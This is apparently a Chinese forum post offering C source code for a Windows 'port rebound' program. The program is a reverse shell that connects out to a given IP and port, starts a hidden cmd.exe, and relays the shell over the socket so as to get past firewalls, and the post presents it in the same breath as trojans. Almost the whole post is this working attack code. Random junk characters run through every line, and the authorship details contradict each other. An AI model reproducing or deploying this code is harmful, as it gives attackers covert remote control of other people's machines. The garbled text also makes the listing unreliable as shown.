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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Jz2N  
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/* ============================== :gep:4&u  
Rebound port in Windows NT R5X.^u  
By wind,2006/7 z}*9uZ  
===============================*/ !X;1}  
#include TzNn^ir=HX  
#include p_${Nj  
=g|IG [V  
#pragma comment(lib,"wsock32.lib") n}!PO[m~  
!& z(:d  
void OutputShell(); C<m{*C-`a  
SOCKET sClient; .P7"e5g e  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (A~/'0/  
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void main(int argc,char **argv) 4*Hgv:0?kI  
{ cT!\{ ~  
WSADATA stWsaData; 5Hw~2 ?a,  
int nRet; v5QqS8u_C  
SOCKADDR_IN stSaiClient,stSaiServer; 2AO~HxF  
jAm3HI   
if(argc != 3) +PcmJ  
{ PqiB\~o@Z  
printf("Useage:\n\rRebound DestIP DestPort\n"); T^Ze3L]  
return; `s8{C b=}1  
} nv~%#|v_W  
8[E!E)4M  
WSAStartup(MAKEWORD(2,2),&stWsaData); r}mbXvn  
=9fajRFTt  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CTZh0 x  
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stSaiClient.sin_family = AF_INET; }wHW7SJ  
stSaiClient.sin_port = htons(0); 6{^E{go  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Is{KN!Hw  
,Q HU_jt  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u (em&M  
{ 9 mmCp&~Z  
printf("Bind Socket Failed!\n"); ucG@?@JENm  
return; b"#WxgaF  
} Y}#J4i0b*  
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stSaiServer.sin_family = AF_INET; U8LtG/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2gCX}4^3b  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); er!DYv  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +/)#( j@  
{ !>zo _fP  
printf("Connect Error!"); 4'!c*@Y  
return; .U?'i<  
} OslL~<  
OutputShell(); JU^lyi!  
} urMG*7i <c  
w[I E  
void OutputShell() RIY,K*f.  
{ T`;%TO*Y  
char szBuff[1024]; 8(~K~q[Cr  
SECURITY_ATTRIBUTES stSecurityAttributes; %\H|B0  
OSVERSIONINFO stOsversionInfo; `m!j$,c.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; k=4N.*#`y  
STARTUPINFO stStartupInfo; CkdP#}f  
char *szShell; ^`)) C;  
PROCESS_INFORMATION stProcessInformation; PGLplXb#[S  
unsigned long lBytesRead; ~s]iy9i  
RHO(?8"_  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2E)wpgUc?e  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n1VaLD  
stSecurityAttributes.lpSecurityDescriptor = 0; qT`k*i?  
stSecurityAttributes.bInheritHandle = TRUE; %Ntcvp)  
N#DYJ-~*  
5`gQ~   
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .R./0Ot tx  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (+FfB"3]  
V9dF1Hj  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); TTt#a6eJ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b#hDHSdZ,  
stStartupInfo.wShowWindow = SW_HIDE; I/L_@X<*r  
stStartupInfo.hStdInput = hReadPipe; E~gyy]8&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; & '}/f5s|  
i-6F:\;  
GetVersionEx(&stOsversionInfo);  \V*xWS  
6T#+V37  
switch(stOsversionInfo.dwPlatformId) WzF !6n!h  
{ H P3lz,d  
case 1: t`,` 6@d  
szShell = "command.com"; ZsOIH<}S  
break; v4.#;F.\m  
default: #~l(]h@ )  
szShell = "cmd.exe"; <F=xtyl7  
break; Nd cg/d  
} yX0dbW~@y  
%+K<<iyR|  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `R=HKtr?  
x*nSHb  
send(sClient,szMsg,77,0); OC<5E121>Y  
while(1) .P MZX%*v  
{ J1:1B ,^y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1PP $XJtyD  
if(lBytesRead) M#=] k  
{ cQ" ~\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }C>{uXv  
send(sClient,szBuff,lBytesRead,0); _oUHJ~&,  
} 82QGS$0V  
else /(BMG/Tb  
{ q~vDz]\G  
lBytesRead=recv(sClient,szBuff,1024,0); Lg*B>=  
if(lBytesRead<=0) break; CS=qj-(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }=8B*  
} *]VFvh  
} bdibaN-h  
CCWg{*og  
return; n_(/JE>  
}
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